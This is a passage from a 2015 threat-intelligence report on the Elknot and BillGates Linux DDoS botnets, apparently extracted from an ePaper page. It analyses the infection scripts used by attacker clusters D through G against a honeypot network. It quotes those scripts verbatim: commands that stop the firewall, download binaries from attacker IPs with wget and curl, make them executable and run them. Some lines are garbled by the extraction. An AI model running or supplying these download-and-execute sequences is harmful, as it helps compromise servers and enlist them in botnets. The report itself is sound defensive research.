NTRG_ElasticBotnetReport_06102015

Recommendations

Info

service iptables stop rm -r /tmp/* wget -O /tmp/Hostys http://117.21.176.64:4899/http chmod 777 /tmp/Hostys nohup /tmp/Hostys > /dev/null 2>&1 /tmp/Hostys ./tmp/Hostys wget -O /tmp/Hostus http://117.21.176.64:4899/http chmod 777 /tmp/Hostys nohup /tmp/Hostys > /dev/null 2>&1 /tmp/Hostys ./tmp/Hostys wget -O /tmp/Hostus http://117.21.176.64:4899/http su root chmod 777 /tmp/Hostys nohup /tmp/Hostys > /dev/null 2>&1 /tmp/Hostys ./tmp/Hostys wget -O /tmp/Hostus http://117.21.176.64:4899/http chmod 777 /tmp/Hostys nohup /tmp/Hostys > /dev/null 2>&1 /tmp/Hostys ./tmp/Hostys wget -O /tmp/Hostus http://117.21.176.64:4899/http 4.1.4 INFRASTRUCTURE-TTP CLUSTER D ATTACK SCRIPT Cluster D attempted to installed Elknot malware on vulnerable systems. Unlike the previously identified Clusters, Cluster D used a very short sequence of commands to attempt to infect a vulnerable host. The entire attack script consists of 6 commands executed over a 21 second time frame: rm * curl -o /tmp/down http://183.61.171.225:8818/down wget -c http://183.61.171.225:8818/down chmod 777 /tmp/./down /t mp/./dow n rm /tmp/* The simplicity of the attack script suggests that the actor does not have any type of automated feedback loop on whether an attack was successful or not. At the very least, however, the attacker was resourceful enough to use two different command line download tools to increase the chances of a download, and potential infection, being successful. 4.1.5 INFRASTRUCTURE-TTP CLUSTER E ATTACK SCRIPT The attack script of Cluster E is by far the most simplistic and ineffective example of all the Cluster’s attack scripts. The attack script consists of the single line THE ELASTIC BOTNET REPORT 50
wget -O /tmp/wocao http://198.13.96.38:7878/wocao The script may very well download the Elknot sample on a vulnerable server, but the actor did not execute any follow up commands to instantiate the malware that it previously downloaded. This behavior was observed by Novetta several times between April 19, 2015 and April 30, 2015 making it unlikely that this behavior is the result of testing and more likely the result of an unskilled attacker. 4.1.6 INFRASTRUCTURE-TTP CLUSTER F ATTACK SCRIPT Operating over a short period of time (approximately 2 days), Cluster F issued only 42 observed commands against Novetta’s Delilah network in an attempt to install Elknot. The attack script deployed by Cluster F is nearly identical in form to that of Cluster C, with the exception that the script does not repeat automatically. This may indicate a simpler attack model that does not include any form of potentially automatic feedback between the attack script engine and the C2 server or HFS instance. The attack script used by Cluster F is as follows: rm -r /tmp/* service iptables stop wget -O /tmp/alima http://114.215.115.152:8080/alima chmod 777 /tmp/alima nohup /tmp/alima > /dev/null 2>&1 /tmp/alima ./tmp/alima One aspect that was not observed in Cluster C but was observed in Cluster F is the use of parallelization. Cluster F used their attack script in a parallel fashion in order to attack multiple hosts at the same time. 4.1.7 INFRASTRUCTURE-TTP CLUSTER G ATTACK SCRIPT Cluster G is the odd man out in terms of malware payloads. Observed over a 24 hour period attempting to install Linux/AES.DDoS bots, Cluster G employed an attack script that was identical to that of Cluster D save for the fact that it attempted to install two variants of malware at the same time. rm * curl -o /tmp/fd http://61.160.232.221:9939/fd wget -c http://61.160.232.221:9939/fd chmod 777 /tmp/./fd /t mp/./fd rm /tmp/* rm * curl -o /tmp/ka http://61.160.232.221:9939/ka wget -c http://61.160.232.221:9939/ka chmod 777 /tmp/./ka /t mp/./ka rm /tmp/* THE ELASTIC BOTNET REPORT 51
Page 1 and 2: THE ELASTIC BOTNET REPORT EXECUTIVE
Page 3 and 4: As a result of the above query, the
Page 5 and 6: Researchers Peter Kálnai and Jarom
Page 7 and 8: If the dropper is executed with 1 a
Page 9 and 10: The CStatBase class captures inform
Page 11 and 12: There are 2 types of messages curre
Page 13 and 14: struct Beacon { } unsigned int dwCP
Page 15 and 16: found, CThreadAttack::ProcessMain e
Page 17 and 18: The following diagram illustrates t
Page 19 and 20: 2.4.1.3 CSubTask.taskType = 0x82: P
Page 21 and 22: It is worth noting that, of all of
Page 23 and 24: The use of a raw network socket pro
Page 25 and 26: The contains a value between CSubT
Page 27 and 28: Structurally, the BillGates binary
Page 29 and 30: CSysTool::SelfInit uses the three s
Page 31 and 32: If the global variable g_bDoBackdoo
Page 33 and 34: Regardless of the communication mod
Page 35 and 36: COMMAND EXPLANATION count 0 Sets th
Page 37 and 38: 3.2.1 BILLGATE’S “NORMAL” DOS
Page 39 and 40: • /bin/netstat • /bin/lsof •
Page 41 and 42: getty 15959 root 6u IPv4 1577210 0t
Page 43 and 44: 13 222.186.21.120 222.186.21.120:66
Page 45 and 46: 18 60.169.75.99 60.169.75.99:3113 w
Page 47 and 48: 219.235.4.22 219.235.4.22:7878 sos
Page 49: m * service iptables stop wget http
Page 53 and 54: 4.1.10 INFRASTRUCTURE-TTP CLUSTER J
Page 55 and 56: 1.The bulk of the HFS instances hav
Page 57 and 58: With regards to the targeted port,
Page 59 and 60: While the Elknot malware does not h
Page 61: One common indicator of a BillGates

NTRG_ElasticBotnetReport_06102015

Create successful ePaper yourself

Delete template?

Save as template?